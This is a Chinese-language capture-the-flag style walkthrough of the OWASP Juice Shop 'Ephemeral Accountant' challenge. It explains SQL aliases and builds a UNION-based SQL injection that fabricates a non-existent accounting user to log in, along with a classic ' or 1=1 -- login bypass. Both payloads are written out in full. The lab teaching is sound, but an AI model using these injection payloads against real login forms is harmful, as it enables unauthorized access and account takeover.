0x05-OWASPJuiceShop-Injection-EphemeralAccountant

目录

今日目标

Ephemeral Accountant.

在这里插入图片描述

要求是,登陆一个不存在的用户账户,这个账户名称是 acc0unt4nt@juice-sh.op,职务是 accouting。通过注册的方式无法完成挑战,只能通过 SQL 注入的方式,在运行时登陆到这个用户的账户,也就是说,这个用户的数据并不在数据库中,是临时生成的。

先看一下这个挑战可以让我们学到哪些东西。

可以学到什么?

首先,做 SQL 注入到高级的时候会十分的复杂,单纯依靠头脑和纸笔,无法完成这样的任务。自己搭建一个 SQL 后台又太麻烦。因此,下面就会给大家推荐两个很好的在线 SQL 模拟器。支持 SQLite,MariaDB,PostgreSQL 等,测试 SQLite 和 MySQL 都没有问题,同时可以自定义数据表,十分灵活,为测试提供了很大的便利。

另外,最最大的收获将会是学习到如何构造临时(实际不存在的)数据。

好用的 SQL 在线模拟器

推荐两个,一个是 https://paiza.io/en/languages/mysql,后端是 MySQL。

另一个是 https://sqliteonline.com/,有更多的数据库支持

因为 JuiceShop 后台使用的 SQLite,在讲完 SQLite 之后,我会把相应的 MySQL 对应的操作流程也做出来。

我们需要跟 JuiceShop 一样的数据来测试,直观地看到数据的变化。

根据 JuiceShop 中的 Users 表的列名创建一张 Users 表。如何获取到 Users 表的所有列名看我系列文章的前篇

然后写入一个测试用户 Sam。

确保连接上 SQLite 数据库。

在这里插入图片描述

SQLite 版本 Schema。直接复制粘贴到 slqiteonline 执行即可。

# 创建 Users 表
CREATE TABLE Users (
id INT(6) PRIMARY KEY,
username VARCHAR(30) NOT NULL,
email VARCHAR(30) NOT NULL,
password VARCHAR(30) NOT NULL,
role VARCHAR(30) NOT NULL,
deluxeToken VARCHAR(50),
lastLoginIp VARCHAR(50),
profileImage VARCHAR(50),
totpSecret VARCHAR(50),
isActive INT(6),
createdAt DATETIME,
updatedAt DATETIME,
deletedAt DATETIME
);

# 创建测试用户
INSERT INTO Users (username, email, password,deluxeToken, lastLoginIp, profileImage,totpSecret, isActive, createdAt, updatedAt)
VALUES ('Sam', 'sam@juice-sh.op', 'sam123', 'abcd', '2.2.2.2',  '/profile/sam.svg', 'efgh', 1, DATE(), DATE());

MySQL (mariadb) 版本 Schema。直接复制粘贴到 slqiteonline 执行即可。

# 创建 Users 表
CREATE TABLE Users (
id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(30) NOT NULL,
email VARCHAR(30) NOT NULL,
password VARCHAR(30) NOT NULL,
role VARCHAR(30) NOT NULL,
deluxeToken VARCHAR(50),
lastLoginIp VARCHAR(50),
profileImage VARCHAR(50),
totpSecret VARCHAR(50),
isActive INT(6),
createdAt DATETIME,
updatedAt DATETIME,
deletedAt DATETIME
);

# 创建测试用户
INSERT INTO Users (username, email, password, role, deluxeToken, lastLoginIp, profileImage,totpSecret, isActive, createdAt, updatedAt)
VALUES ('Sam', 'sam@juice-sh.op', 'sam123', 'user', 'abcd', '2.2.2.2',  '/profile/sam.svg', 'efgh', 1, CURDATE(), CURDATE());

# 返回 Sam 用户
SELECT * FROM Users WHERE email = 'sam@juice-sh.op'
AND password = 'sam123'
AND deletedAt IS NULL;

PostgreSQL 版本 Schema。直接复制粘贴到 slqiteonline 执行即可。

CREATE TABLE Users (
id INT,
username VARCHAR(30) NOT NULL,
email VARCHAR(30) NOT NULL,
password VARCHAR(30) NOT NULL,
role VARCHAR(30) NOT NULL,
deluxeToken VARCHAR(50),
lastLoginIp VARCHAR(50),
profileImage VARCHAR(50),
totpSecret VARCHAR(50),
isActive INT,
createdAt DATE,
updatedAt DATE,
deletedAt DATE
);

INSERT INTO Users (username, email, password, role, deluxeToken, lastLoginIp, profileImage,totpSecret, isActive, createdAt, updatedAt)
VALUES ('Sam', 'sam@juice-sh.op', 'sam123', 'user', 'abcd', '2.2.2.2',  '/profile/sam.svg', 'efgh', 1, CURRENT_DATE, CURRENT_DATE);

接下来就可以执行任意的 SQL 语句了。

SQLite ALIAS 表达式

在开始说临时数据之前,首先要了解什么是 SQLite ALIAS 表达式。

SQLite Alias 可以让用户临时替换表名或者列名,简化输入。这样的替换是临时的,真实的表名和列名不会受到影响。

看下面这个例子。

本例可以在 Tutorialspoint 找到

有下面两张表,COMPANY 和 DEPARTMENT。

在这里插入图片描述

表名映射

表名替换可以用下面的方式实现。这里,COMPANY 映射为 CDEPARTMENT 映射成 D,所以在 SELECT 的时候,可以使用 CD 替代掉所有的 COMPANYDEPARTMENT

在这里插入图片描述

列名映射

再看一下列名的替换。数据表不变,使用如下方式完成同样的请求。

相应的,COMPANY 表中的 ID 一列映射为 COMPANY_IDNAME 一列映射为 COMPANY_NAME

在这里插入图片描述

这个列名的例子没有给好,两个列名的映射都没有用。我们看一下自己测试数据的例子。我用列名映射,将 email 列映射为 e,然后再 WHERE 条件中即可使用 e 作为 email 的替换。

在这里插入图片描述

这就是 SQLite Alias 映射的作用。

SQLite 如何构造临时数据?

测试数据有了,我们测试一下用户数据。

运行

SELECT * from Users WHERE email = 'sam@juice-sh.op' AND password = 'sam123' AND deletedAt IS NULL;

返回当前用户

在这里插入图片描述

先回顾一下最基本的 SQL 注入。

模拟一下绕过登陆验证的注入,运行

SELECT * from Users WHERE email = '' or 1 = 1 -- AND password = 'sam123' AND deletedAt IS NULL;

返回 Sam 这个用户,如果有多个用户,会全部返回

在这里插入图片描述

现在,我们看一下如何构造临时数据。

回想一下上一章节里面讲的 SQLite Alias。SELECT ... AS example 中的 example,相当于内存中临时创建的一个变量,可以被访问。

那如果我们写一个 SELECT 去访问这个变量呢?

看下面的例子。

在这里插入图片描述

返回了 test@test.com。这个 test@test.com 可以是任意 SQL 数据类型。

至此,创建临时数据的基础就有了。

使用 SQLite Alias 创建出所有的 Users 表中数据,列名就使用 Users 表中的列名。

然后是用 SELECT * 访问所有创建的变量。

SELECT * from (SELECT 15 as 'id', '' as 'username', 'acc0unt4nt@juice-sh.op' as 'email', '12345' as 'password', 'accounting' as 'role', '123' as 'deluxeToken', '1.2.3.4' as 'lastLoginIp' , '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt');

将会返回一条 User 记录。这条数据全靠 Alias 变量生成,不存在于数据库。这就是我们需要的临时用户数据。

在这里插入图片描述

MySQL 如何构造临时数据?

W3C 对 MySQL Alias 做了详细说明

在这里插入图片描述

如果后端是 MySQL,因为语法方面的原因要注意两点:

  • 上图中红框里的 AS <alias-name> 要加上,不然会报 Every derived table must have its own alias 的错误
  • 红框里的 <alias-name 不要加引号,加上引号也会报错

MariaDB 同上。

大家可以到两个在线 SQL 模拟器里自行尝试。

PostgreSQL 如何构造临时数据?

在这里插入图片描述

PostgreSQL 注意红框中的两个地方即可。数据库特性要求在 UNION 的时候,最好给出值的确切数据类型,不然就会报如下错误。

UNION types date and text cannot be matchd

如何利用这个漏洞?

好了,来解决这个问题。

讲完了临时数据的原理,这个挑战应该很简单了。要登陆到一个不存在账户,就可以用上面讲到的构建临时数据的方式来完成。执行恶意 SQL 之后讲返回一个实际不存在的用户,骗过服务端,完成登陆。

在登陆界面 Email 处填入一下 SQL,即可完成挑战。

' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', 'acc0unt4nt@juice-sh.op' as 'email', '12345' as 'password', 'accounting' as 'role', '123' as 'deluxeToken', '1.2.3.4' as 'lastLoginIp' , '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt')-- 

拆解一下:

  • 第一个单引号 ' 关闭 email 字段的单引号
  • UNION 部分,就是我们之前讲的如何构造临时数据
  • 最后的 -- ,注释掉接下来的 SQL 表达式(注意后面跟一个空格)

最后构成的 SQL 如下:

SELECT * FROM Users WHERE email = '' UNION SELECT * FROM (SELECT 15 as 'id', '' as 'username', 'acc0unt4nt@juice-sh.op' as 'email', '12345' as 'password', 'accounting' as 'role', '123' as 'deluxeToken', '1.2.3.4' as 'lastLoginIp' , '/assets/public/images/uploads/default.svg' as 'profileImage', '' as 'totpSecret', 1 as 'isActive', '1999-08-16 14:14:41.644 +00:00' as 'createdAt', '1999-08-16 14:33:41.930 +00:00' as 'updatedAt', null as 'deletedAt')-- 

登陆,完成挑战。


参考链接: